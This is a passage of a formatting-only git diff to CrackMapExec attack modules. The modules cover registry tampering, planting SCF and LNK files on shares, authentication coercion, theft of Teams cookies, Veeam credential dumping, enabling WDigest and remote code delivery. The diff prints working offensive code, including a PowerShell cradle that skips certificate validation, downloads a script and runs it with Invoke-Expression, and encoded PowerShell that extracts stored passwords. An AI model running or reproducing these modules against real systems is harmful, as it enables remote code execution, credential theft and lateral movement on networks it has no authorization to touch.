key_handle = ans["phkResult"] if self.delete: # Delete registry try: # Check if value exists - data_type, reg_value = rrp.hBaseRegQueryValue( - remote_ops._RemoteOperations__rrp, key_handle, self.key - ) + data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key) except: self.context.log.fail(f"Registry key {self.key} does not exist") return # Delete value - rrp.hBaseRegDeleteValue( - remote_ops._RemoteOperations__rrp, key_handle, self.key - ) - self.context.log.success( - f"Registry key {self.key} has been deleted successfully" - ) + rrp.hBaseRegDeleteValue(remote_ops._RemoteOperations__rrp, key_handle, self.key) + self.context.log.success(f"Registry key {self.key} has been deleted successfully") rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) if self.value is not None: # Check if value exists try: # Check if value exists - data_type, reg_value = rrp.hBaseRegQueryValue( - remote_ops._RemoteOperations__rrp, key_handle, self.key - ) - self.context.log.highlight( - f"Key {self.key} exists with value {reg_value}" - ) + data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key) + self.context.log.highlight(f"Key {self.key} exists with value {reg_value}") # Modification rrp.hBaseRegSetValue( remote_ops._RemoteOperations__rrp, @@ -156,9 +134,7 @@ class CMEModule: self.type, self.value, ) - self.context.log.success( - f"Key {self.key} has been modified to {self.value}" - ) + self.context.log.success(f"Key {self.key} has been modified to {self.value}") except: rrp.hBaseRegSetValue( remote_ops._RemoteOperations__rrp, @@ -167,16 +143,12 @@ class CMEModule: self.type, self.value, ) - self.context.log.success( - f"New Key {self.key} has been added with value {self.value}" - ) + self.context.log.success(f"New Key {self.key} has been added with value {self.value}") rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) else: # Query try: - data_type, reg_value = rrp.hBaseRegQueryValue( - remote_ops._RemoteOperations__rrp, key_handle, self.key - ) + data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key) self.context.log.highlight(f"{self.key}: {reg_value}") except: if self.delete: @@ -186,9 +158,7 @@ class CMEModule: return rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) except DCERPCException as e: - self.context.log.fail( - f"DCERPC Error while querying or modifying registry: {e}" - ) + self.context.log.fail(f"DCERPC Error while querying or modifying registry: {e}") except Exception as e: self.context.log.fail(f"Error while querying or modifying registry: {e}") finally: diff --git a/cme/modules/scan-network.py b/cme/modules/scan-network.py index 426c32df..313ff1dd 100644 --- a/cme/modules/scan-network.py +++ b/cme/modules/scan-network.py @@ -16,9 +16,7 @@ from ldap3 import LEVEL def get_dns_zones(connection, root, debug=False): - connection.search( - root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"] - ) + connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"]) zones = [] for entry in connection.response: if entry["type"] != "searchResEntry": @@ -40,11 +38,7 @@ def get_dns_resolver(server, context): socket.inet_aton(server) dnsresolver.nameservers = [server] except socket.error: - context.info( - "Using System DNS to resolve unknown entries. Make sure resolving your" - " target domain works here or specify an IP as target host to use that" - " server for queries" - ) + context.info("Using System DNS to resolve unknown entries. Make sure resolving your" " target domain works here or specify an IP as target host to use that" " server for queries") return dnsresolver @@ -114,10 +108,7 @@ class CMEModule: else: print("Could not parse ONLY_HOSTS option.") if module_options and "ONLY_HOSTS" in module_options: - if ( - module_options["ONLY_HOSTS"].lower() == "true" - or module_options["ONLY_HOSTS"] == "1" - ): + if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1": self.showhosts = True else: print("Could not parse ONLY_HOSTS option.") @@ -138,10 +129,7 @@ class CMEModule: ) except ldap.LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: - context.log.debug( - "sizeLimitExceeded exception caught, giving up and processing the" - " data received" - ) + context.log.debug("sizeLimitExceeded exception caught, giving up and processing the" " data received") # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries list_sites = e.getAnswers() @@ -165,10 +153,7 @@ class CMEModule: if RECORD_TYPE_MAPPING[dr["Type"]] == "A": if dr["Type"] == 1: address = DNS_RPC_RECORD_A(dr["Data"]) - if ( - str(recordname) != "DomainDnsZones" - and str(recordname) != "ForestDnsZones" - ): + if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones": outdata.append( { "name": recordname, @@ -176,16 +161,9 @@ class CMEModule: "value": address.formatCanonical(), } ) - if dr["Type"] in [ - a - for a in RECORD_TYPE_MAPPING - if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"] - ]: + if dr["Type"] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]]: address = DNS_RPC_RECORD_NODE_NAME(dr["Data"]) - if ( - str(recordname) != "DomainDnsZones" - and str(recordname) != "ForestDnsZones" - ): + if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones": outdata.append( { "name": recordname, @@ -195,10 +173,7 @@ class CMEModule: ) elif dr["Type"] == 28: address = DNS_RPC_RECORD_AAAA(dr["Data"]) - if ( - str(recordname) != "DomainDnsZones" - and str(recordname) != "ForestDnsZones" - ): + if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones": outdata.append( { "name": recordname, @@ -208,31 +183,18 @@ class CMEModule: ) context.log.highlight("Found %d records" % len(outdata)) - path = expanduser( - "~/.cme/logs/{}_network_{}.log".format( - connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S") - ) - ) + path = expanduser("~/.cme/logs/{}_network_{}.log".format(connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) with codecs.open(path, "w", "utf-8") as outfile: for row in outdata: if self.showhosts: outfile.write("{}\n".format(row["name"] + "." + connection.domain)) elif self.showall: - outfile.write( - "{} \t {}\n".format( - row["name"] + "." + connection.domain, row["value"] - ) - ) + outfile.write("{} \t {}\n".format(row["name"] + "." + connection.domain, row["value"])) else: outfile.write("{}\n".format(row["value"])) context.log.success("Dumped {} records to {}".format(len(outdata), path)) if not self.showall and not self.showhosts: - context.log.display( - "To extract CIDR from the {} ip, run the following command: cat" - " your_file | mapcidr -aa -silent | mapcidr -a -silent".format( - len(outdata) - ) - ) + context.log.display("To extract CIDR from the {} ip, run the following command: cat" " your_file | mapcidr -aa -silent | mapcidr -a -silent".format(len(outdata))) class DNS_RECORD(Structure): @@ -414,8 +376,6 @@ class DNS_RPC_RECORD_TS(Structure): def toDatetime(self): microseconds = int(self["entombedTime"] / 10) try: - return datetime.datetime(1601, 1, 1) + datetime.timedelta( - microseconds=microseconds - ) + return datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=microseconds) except OverflowError: return None diff --git a/cme/modules/scuffy.py b/cme/modules/scuffy.py index cfece488..044ebb2b 100644 --- a/cme/modules/scuffy.py +++ b/cme/modules/scuffy.py @@ -70,23 +70,13 @@ class CMEModule: if not self.cleanup: with open(self.scf_path, "rb") as scf: try: - connection.conn.putFile( - share["name"], self.file_path, scf.read - ) - context.log.success( - f"Created SCF file on the {share['name']} share" - ) + connection.conn.putFile(share["name"], self.file_path, scf.read) + context.log.success(f"Created SCF file on the {share['name']} share") except Exception as e: - context.log.fail( - f"Error writing SCF file to share {share['name']}: {e}" - ) + context.log.fail(f"Error writing SCF file to share {share['name']}: {e}") else: try: connection.conn.deleteFile(share["name"], self.file_path) - context.log.success( - f"Deleted SCF file on the {share['name']} share" - ) + context.log.success(f"Deleted SCF file on the {share['name']} share") except Exception as e: - context.log.fail( - f"Error deleting SCF file on share {share['name']}: {e}" - ) + context.log.fail(f"Error deleting SCF file on share {share['name']}: {e}") diff --git a/cme/modules/shadowcoerce.py b/cme/modules/shadowcoerce.py index fe4a82d3..ca93ac54 100644 --- a/cme/modules/shadowcoerce.py +++ b/cme/modules/shadowcoerce.py @@ -45,9 +45,7 @@ class CMEModule: domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, - target=connection.host - if not connection.kerberos - else connection.hostname + "." + connection.domain, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, pipe="FssagentRpc", doKerberos=connection.kerberos, dcHost=connection.kdcHost, @@ -64,9 +62,7 @@ class CMEModule: domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, - target=connection.host - if not connection.kerberos - else connection.hostname + "." + connection.domain, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, pipe="FssagentRpc", ) @@ -86,9 +82,7 @@ class CMEModule: if result: context.log.highlight("VULNERABLE") - context.log.highlight( - "Next step: https://github.com/ShutdownRepo/ShadowCoerce" - ) + context.log.highlight("Next step: https://github.com/ShutdownRepo/ShadowCoerce") else: context.log.debug("Target not vulnerable to ShadowCoerce") @@ -211,9 +205,7 @@ class CoerceAuth: "UUID": ("a8e0653c-2744-4389-a61d-7373df8b2292", "1.0"), }, } - rpctransport = transport.DCERPCTransportFactory( - binding_params[pipe]["stringBinding"] - ) + rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"]) dce = rpctransport.get_dce_rpc() if hasattr(rpctransport, "set_credentials"): @@ -266,9 +258,7 @@ class CoerceAuth: dce.request(request) except Exception as e: cme_logger.debug("Something went wrong, check error status => %s", str(e)) - cme_logger.debug( - "Attack may of may not have worked, check your listener..." - ) + cme_logger.debug("Attack may of may not have worked, check your listener...") return False return True @@ -283,9 +273,7 @@ class CoerceAuth: dce.request(request) except Exception as e: cme_logger.debug("Something went wrong, check error status => %s", str(e)) - cme_logger.debug( - "Attack may of may not have worked, check your listener..." - ) + cme_logger.debug("Attack may of may not have worked, check your listener...") return False return True diff --git a/cme/modules/slinky.py b/cme/modules/slinky.py index 9f8d128b..ab631db9 100644 --- a/cme/modules/slinky.py +++ b/cme/modules/slinky.py @@ -69,23 +69,13 @@ class CMEModule: if not self.cleanup: with open(self.lnk_path, "rb") as lnk: try: - connection.conn.putFile( - share["name"], self.file_path, lnk.read - ) - context.log.success( - f"Created LNK file on the {share['name']} share" - ) + connection.conn.putFile(share["name"], self.file_path, lnk.read) + context.log.success(f"Created LNK file on the {share['name']} share") except Exception as e: - context.log.fail( - f"Error writing LNK file to share {share['name']}: {e}" - ) + context.log.fail(f"Error writing LNK file to share {share['name']}: {e}") else: try: connection.conn.deleteFile(share["name"], self.file_path) - context.log.success( - f"Deleted LNK file on the {share['name']} share" - ) + context.log.success(f"Deleted LNK file on the {share['name']} share") except Exception as e: - context.log.fail( - f"Error deleting LNK file on share {share['name']}: {e}" - ) + context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}") diff --git a/cme/modules/spider_plus.py b/cme/modules/spider_plus.py index 12827b86..9d8c7ad1 100755 --- a/cme/modules/spider_plus.py +++ b/cme/modules/spider_plus.py @@ -43,9 +43,7 @@ def make_dirs(path): pass -get_list_from_option = lambda opt: list( - map(lambda o: o.lower(), filter(bool, opt.split(","))) -) +get_list_from_option = lambda opt: list(map(lambda o: o.lower(), filter(bool, opt.split(",")))) class SMBSpiderPlus: @@ -94,9 +92,7 @@ class SMBSpiderPlus: filelist = self.smb.conn.listPath(share, subfolder + "*") except SessionError as e: - self.logger.debug( - f'Failed listing files on share "{share}" in directory {subfolder}.' - ) + self.logger.debug(f'Failed listing files on share "{share}" in directory {subfolder}.') self.logger.debug(str(e)) if "STATUS_ACCESS_DENIED" in str(e): @@ -217,17 +213,11 @@ class SMBSpiderPlus: self.results[share][next_path] = { "size": humansize(result.get_filesize()), #'ctime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_ctime())), - "ctime_epoch": time.strftime( - "%Y-%m-%d %H:%M:%S", time.localtime(result.get_ctime_epoch()) - ), + "ctime_epoch": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(result.get_ctime_epoch())), #'mtime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_mtime())), - "mtime_epoch": time.strftime( - "%Y-%m-%d %H:%M:%S", time.localtime(result.get_mtime_epoch()) - ), + "mtime_epoch": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(result.get_mtime_epoch())), #'atime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_atime())), - "atime_epoch": time.strftime( - "%Y-%m-%d %H:%M:%S", time.localtime(result.get_atime_epoch()) - ), + "atime_epoch": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(result.get_atime_epoch())), } # The collection logic is here. You can add more checks based @@ -237,17 +227,13 @@ class SMBSpiderPlus: # of a RemoteFile object that perform a remote connection. file_extension = next_path[next_path.rfind(".") + 1 :] if file_extension in self.exclude_exts: - self.logger.debug( - f'The file "{next_path}" has an excluded extension' - ) + self.logger.debug(f'The file "{next_path}" has an excluded extension') continue # If there is not results in the file but the size is correct, # then we save it if result.get_filesize() > self.max_file_size: - self.logger.debug( - f"File {result.get_longname()} has size {result.get_filesize()}" - ) + self.logger.debug(f"File {result.get_longname()} has size {result.get_filesize()}") continue ## You can add more checks here: date, ... @@ -318,9 +304,7 @@ class CMEModule: description = "List files on the target server (excluding `DIR` directories and `EXT` extensions) and save them to the `OUTPUT` directory if they are smaller then `SIZE`" supported_protocols = ["smb"] opsec_safe = True # Does the module touch disk? - multiple_hosts = ( - True # Does it make sense to run this module on multiple hosts at a time? - ) + multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? def options(self, context, module_options): """ @@ -332,16 +316,10 @@ class CMEModule: """ self.read_only = module_options.get("READ_ONLY", True) - self.exclude_exts = get_list_from_option( - module_options.get("EXCLUDE_EXTS", "ico,lnk") - ) - self.exlude_dirs = get_list_from_option( - module_options.get("EXCLUDE_DIR", "print$") - ) + self.exclude_exts = get_list_from_option(module_options.get("EXCLUDE_EXTS", "ico,lnk")) + self.exlude_dirs = get_list_from_option(module_options.get("EXCLUDE_DIR", "print$")) self.max_file_size = int(module_options.get("SIZE", 50 * 1024)) - self.output_folder = module_options.get( - "OUTPUT", os.path.join("/tmp", "cme_spider_plus") - ) + self.output_folder = module_options.get("OUTPUT", os.path.join("/tmp", "cme_spider_plus")) def on_login(self, context, connection): context.log.display("Started spidering plus with option:") diff --git a/cme/modules/spooler.py b/cme/modules/spooler.py index 5c169a2e..328d4d6b 100644 --- a/cme/modules/spooler.py +++ b/cme/modules/spooler.py @@ -51,14 +51,8 @@ class CMEModule: self.__stringbinding = KNOWN_PROTOCOLS[self.port]["bindstr"] % connection.host context.log.debug("StringBinding %s" % self.__stringbinding) rpctransport = transport.DCERPCTransportFactory(self.__stringbinding) - rpctransport.set_credentials( - connection.username, connection.password, connection.domain, lmhash, nthash - ) - rpctransport.setRemoteHost( - connection.host - if not connection.kerberos - else connection.hostname + "." + connection.domain - ) + rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash) + rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain) rpctransport.set_dport(self.port) if connection.kerberos: @@ -70,16 +64,8 @@ class CMEModule: error_text = "Protocol failed: %s" % e context.log.critical(error_text) - if ( - RPC_PROXY_INVALID_RPC_PORT_ERR in error_text - or RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text - or RPC_PROXY_CONN_A1_404_ERR in error_text - or RPC_PROXY_CONN_A1_0X6BA_ERR in error_text - ): - context.log.critical( - "This usually means the target does not allow " - "to connect to its epmapper using RpcProxy." - ) + if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or RPC_PROXY_CONN_A1_404_ERR in error_text or RPC_PROXY_CONN_A1_0X6BA_ERR in error_text: + context.log.critical("This usually means the target does not allow " "to connect to its epmapper using RpcProxy.") return # Display results. @@ -91,13 +77,8 @@ class CMEModule: if (tmp_uuid in endpoints) is not True: endpoints[tmp_uuid] = {} endpoints[tmp_uuid]["Bindings"] = list() - if ( - uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18] - in epm.KNOWN_UUIDS - ): - endpoints[tmp_uuid]["EXE"] = epm.KNOWN_UUIDS[ - uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18] - ] + if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18] in epm.KNOWN_UUIDS: + endpoints[tmp_uuid]["EXE"] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18]] else: endpoints[tmp_uuid]["EXE"] = "N/A" endpoints[tmp_uuid]["annotation"] = entry["annotation"][:-1].decode("utf-8") @@ -112,9 +93,7 @@ class CMEModule: if "MS-RPRN" in endpoints[endpoint]["Protocol"]: context.log.debug("Protocol: %s " % endpoints[endpoint]["Protocol"]) context.log.debug("Provider: %s " % endpoints[endpoint]["EXE"]) - context.log.debug( - "UUID : %s %s" % (endpoint, endpoints[endpoint]["annotation"]) - ) + context.log.debug("UUID : %s %s" % (endpoint, endpoints[endpoint]["annotation"])) context.log.debug("Bindings: ") for binding in endpoints[endpoint]["Bindings"]: context.log.debug(" %s" % binding) diff --git a/cme/modules/subnets.py b/cme/modules/subnets.py index 9e6f475f..9ef589a7 100644 --- a/cme/modules/subnets.py +++ b/cme/modules/subnets.py @@ -29,15 +29,9 @@ class CMEModule: self.showservers = True if module_options and "SHOWSERVERS" in module_options: - if ( - module_options["SHOWSERVERS"].lower() == "true" - or module_options["SHOWSERVERS"] == "1" - ): + if module_options["SHOWSERVERS"].lower() == "true" or module_options["SHOWSERVERS"] == "1": self.showservers = True - elif ( - module_options["SHOWSERVERS"].lower() == "false" - or module_options["SHOWSERVERS"] == "0" - ): + elif module_options["SHOWSERVERS"].lower() == "false" or module_options["SHOWSERVERS"] == "0": self.showservers = False else: print("Could not parse showservers option.") @@ -75,23 +69,11 @@ class CMEModule: attributes=["distinguishedName", "name"], sizeLimit=999, ) - if ( - len( - [ - subnet - for subnet in list_subnets - if isinstance(subnet, ldapasn1_impacket.SearchResultEntry) - ] - ) - == 0 - ): + if len([subnet for subnet in list_subnets if isinstance(subnet, ldapasn1_impacket.SearchResultEntry)]) == 0: context.log.highlight('Site "%s"' % site_name) else: for subnet in list_subnets: - if ( - isinstance(subnet, ldapasn1_impacket.SearchResultEntry) - is not True - ): + if isinstance(subnet, ldapasn1_impacket.SearchResultEntry) is not True: continue subnet = searchResEntry_to_dict(subnet) subnet_dn = subnet["distinguishedName"] @@ -105,35 +87,14 @@ class CMEModule: attributes=["cn"], sizeLimit=999, ) - if ( - len( - [ - server - for server in list_servers - if isinstance( - server, ldapasn1_impacket.SearchResultEntry - ) - ] - ) - == 0 - ): + if len([server for server in list_servers if isinstance(server, ldapasn1_impacket.SearchResultEntry)]) == 0: if len(site_description) != 0: - context.log.highlight( - 'Site "%s" (Subnet:%s) (description:"%s")' - % (site_name, subnet_name, site_description) - ) + context.log.highlight('Site "%s" (Subnet:%s) (description:"%s")' % (site_name, subnet_name, site_description)) else: - context.log.highlight( - 'Site "%s" (Subnet:%s)' % (site_name, subnet_name) - ) + context.log.highlight('Site "%s" (Subnet:%s)' % (site_name, subnet_name)) else: for server in list_servers: - if ( - isinstance( - server, ldapasn1_impacket.SearchResultEntry - ) - is not True - ): + if isinstance(server, ldapasn1_impacket.SearchResultEntry) is not True: continue server = searchResEntry_to_dict(server)["cn"] if len(site_description) != 0: @@ -147,17 +108,9 @@ class CMEModule: ) ) else: - context.log.highlight( - 'Site "%s" (Subnet:%s) (Server:%s)' - % (site_name, subnet_name, server) - ) + context.log.highlight('Site "%s" (Subnet:%s) (Server:%s)' % (site_name, subnet_name, server)) else: if len(site_description) != 0: - context.log.highlight( - 'Site "%s" (Subnet:%s) (description:"%s")' - % (site_name, subnet_name, site_description) - ) + context.log.highlight('Site "%s" (Subnet:%s) (description:"%s")' % (site_name, subnet_name, site_description)) else: - context.log.highlight( - 'Site "%s" (Subnet:%s)' % (site_name, subnet_name) - ) + context.log.highlight('Site "%s" (Subnet:%s)' % (site_name, subnet_name)) diff --git a/cme/modules/teams_localdb.py b/cme/modules/teams_localdb.py index af8dff1e..11d03798 100644 --- a/cme/modules/teams_localdb.py +++ b/cme/modules/teams_localdb.py @@ -23,9 +23,7 @@ class CMEModule: with open("/tmp/teams_cookies2.txt", "wb") as f: for path in paths: try: - connection.conn.getFile( - "C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write - ) + connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write) context.log.highlight("Found Cookie file in path " + path) found = 1 self.parse_file(context, "skypetoken_asm") @@ -36,9 +34,7 @@ class CMEModule: if "STATUS_SHARING_VIOLATION" in str(e): context.log.debug(str(e)) context.log.highlight("Found Cookie file in path " + path) - context.log.fail( - "Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database" - ) + context.log.fail("Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database") if found == 0: context.log.display("No cookie file found in Users folder") @@ -50,9 +46,7 @@ class CMEModule: c.execute("SELECT value FROM cookies WHERE name = '" + name + "'") row = c.fetchone() if row is None: - context.log.fail( - "No " + name + " present in Microsoft Teams Cookies database" - ) + context.log.fail("No " + name + " present in Microsoft Teams Cookies database") else: context.log.success("Succesfully extracted " + name + ": ") context.log.success(row[0]) diff --git a/cme/modules/uac.py b/cme/modules/uac.py index f17e9544..f57c731c 100644 --- a/cme/modules/uac.py +++ b/cme/modules/uac.py @@ -33,9 +33,7 @@ class CMEModule: "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ) keyHandle = ans["phkResult"] - dataType, uac_value = rrp.hBaseRegQueryValue( - remoteOps._RemoteOperations__rrp, keyHandle, "EnableLUA" - ) + dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "EnableLUA") if uac_value == 1: context.log.highlight("UAC Status: 1 (UAC Enabled)") diff --git a/cme/modules/user_desc.py b/cme/modules/user_desc.py index ae7a6010..bf127e18 100644 --- a/cme/modules/user_desc.py +++ b/cme/modules/user_desc.py @@ -53,19 +53,13 @@ class CMEModule: self.search_filter += f"(description={module_options['DESC_FILTER']})" if "DESC_INVERT" in module_options: - self.search_filter += ( - f"(!(description={module_options['DESC_INVERT']}))" - ) + self.search_filter += f"(!(description={module_options['DESC_INVERT']}))" if "USER_FILTER" in module_options: - self.search_filter += ( - f"(sAMAccountName={module_options['USER_FILTER']})" - ) + self.search_filter += f"(sAMAccountName={module_options['USER_FILTER']})" if "USER_INVERT" in module_options: - self.search_filter += ( - f"(!(sAMAccountName={module_options['USER_INVERT']}))" - ) + self.search_filter += f"(!(sAMAccountName={module_options['USER_INVERT']}))" self.search_filter += ")" @@ -80,12 +74,8 @@ class CMEModule: On successful LDAP login we perform a search for all user objects that have a description. Users can specify additional LDAP filters that are applied to the query. """ - self.create_log_file( - connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S") - ) - context.log.info( - f"Starting LDAP search with search filter '{self.search_filter}'" - ) + self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S")) + context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'") try: sc = ldap.SimplePagedResultsControl() @@ -155,18 +145,14 @@ class CMEModule: description = attribute["vals"][0].asOctets().decode("utf-8") except Exception as e: entry = sAMAccountName or "item" - self.context.error( - f"Skipping {entry}, cannot process LDAP entry due to error: '{str(e)}'" - ) + self.context.error(f"Skipping {entry}, cannot process LDAP entry due to error: '{str(e)}'") if description and sAMAccountName not in self.account_names: self.desc_count += 1 self.append_to_log(sAMAccountName, description) if self.highlight(description): - self.context.log.highlight( - f"User: {sAMAccountName} - Description: {description}" - ) + self.context.log.highlight(f"User: {sAMAccountName} - Description: {description}") self.account_names.add(sAMAccountName) diff --git a/cme/modules/veeam_dump.py b/cme/modules/veeam_dump.py index 6dfbff32..b8c850cc 100644 --- a/cme/modules/veeam_dump.py +++ b/cme/modules/veeam_dump.py @@ -24,9 +24,7 @@ class CMEModule: multiple_hosts = True def __init__(self): - with open( - get_ps_script("veeam_dump_module/veeam-creds_dump.ps1"), "r" - ) as psFile: + with open(get_ps_script("veeam_dump_module/veeam-creds_dump.ps1"), "r") as psFile: self.psScript = psFile.read() def options(self, context, module_options): @@ -55,15 +53,9 @@ class CMEModule: ) keyHandle = ans["phkResult"] - SqlDatabase = rrp.hBaseRegQueryValue( - remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName" - )[1].split("\x00")[:-1][0] - SqlInstance = rrp.hBaseRegQueryValue( - remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName" - )[1].split("\x00")[:-1][0] - SqlServer = rrp.hBaseRegQueryValue( - remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName" - )[1].split("\x00")[:-1][0] + SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0] + SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0] + SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0] except DCERPCException as e: if str(e).find("ERROR_FILE_NOT_FOUND"): @@ -84,23 +76,16 @@ class CMEModule: self.psScript = self.psScript.replace("REPLACE_ME_SqlServer", SqlServer) psScipt_b64 = b64encode(self.psScript.encode("UTF-16LE")).decode("utf-8") - output = connection.execute( - "powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True - ) + output = connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True) # Format ouput if returned in some XML Format if "CLIXML" in output: output = self.stripXmlOutput(context, output) # Stripping whitespaces and newlines - output_stripped = [ - " ".join(line.split()) for line in output.split("\r\n") if line.strip() - ] + output_stripped = [" ".join(line.split()) for line in output.split("\r\n") if line.strip()] # Error handling - if ( - "Can't connect to DB! Exiting..." in output_stripped - or "No passwords found!" in output_stripped - ): + if "Can't connect to DB! Exiting..." in output_stripped or "No passwords found!" in output_stripped: context.log.fail(output_stripped[0]) return @@ -109,14 +94,8 @@ class CMEModule: context.log.highlight(user + ":" + password) def on_admin_login(self, context, connection): - SqlDatabase, SqlInstance, SqlServer = self.checkVeeamInstalled( - context, connection - ) + SqlDatabase, SqlInstance, SqlServer = self.checkVeeamInstalled(context, connection) if SqlDatabase and SqlInstance and SqlServer: - context.log.success( - 'Found Veeam DB "{}" on SQL Server "{}\\{}"! Extracting stored credentials...'.format( - SqlDatabase, SqlServer, SqlInstance - ) - ) + context.log.success('Found Veeam DB "{}" on SQL Server "{}\\{}"! Extracting stored credentials...'.format(SqlDatabase, SqlServer, SqlInstance)) self.extractCreds(context, connection, SqlDatabase, SqlInstance, SqlServer) diff --git a/cme/modules/wdigest.py b/cme/modules/wdigest.py index 016f23c2..b4ac87e5 100644 --- a/cme/modules/wdigest.py +++ b/cme/modules/wdigest.py @@ -58,14 +58,10 @@ class CMEModule: 1, ) - rtype, data = rrp.hBaseRegQueryValue( - remoteOps._RemoteOperations__rrp, keyHandle, "UseLogonCredential\x00" - ) + rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UseLogonCredential\x00") if int(data) == 1: - context.log.success( - "UseLogonCredential registry key created successfully" - ) + context.log.success("UseLogonCredential registry key created successfully") try: remoteOps.finish() @@ -111,9 +107,7 @@ class CMEModule: "UseLogonCredential\x00", ) except DCERPCException: - context.log.success( - "UseLogonCredential registry key deleted successfully" - ) + context.log.success("UseLogonCredential registry key deleted successfully") try: remoteOps.finish() diff --git a/cme/modules/web_delivery.py b/cme/modules/web_delivery.py index d1ef7a80..c26ee3ba 100644 --- a/cme/modules/web_delivery.py +++ b/cme/modules/web_delivery.py @@ -38,9 +38,7 @@ class CMEModule: self.payload = module_options["PAYLOAD"] def on_admin_login(self, context, connection): - ps_command = """[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{}');""".format( - self.url - ) + ps_command = """[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{}');""".format(self.url) if self.payload == "32": connection.ps_execute(ps_command, force_ps32=True) else: diff --git a/cme/modules/webdav.py b/cme/modules/webdav.py index f5bea23a..81e6f0fa 100644 --- a/cme/modules/webdav.py +++ b/cme/modules/webdav.py @@ -36,9 +36,7 @@ class CMEModule: that the WebClient service is running on the target. """ try: - remote_file = RemoteFile( - connection.conn, "DAV RPC Service", "IPC$", access=FILE_READ_DATA - ) + remote_file = RemoteFile(connection.conn, "DAV RPC Service", "IPC$", access=FILE_READ_DATA) remote_file.open() remote_file.close() diff --git a/cme/modules/whoami.py b/cme/modules/whoami.py index 7265fc25..3b7b86f1 100644 --- a/cme/modules/whoami.py +++ b/cme/modules/whoami.py @@ -8,9 +8,7 @@ class CMEModule: description = "Get details of provided user" supported_protocols = ["ldap"] opsec_safe = True # Does the module touch disk? - multiple_hosts = ( - True # Does it make sense to run this module on multiple hosts at a time? - ) + multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? def options(self, context, module_options): """ @@ -27,9 +25,7 @@ class CMEModule: else: searchFilter = f"(sAMAccountName={format(self.username)})" - context.log.debug( - f"Using naming context: {searchBase} and {searchFilter} as search filter" - ) + context.log.debug(f"Using naming context: {searchBase} and 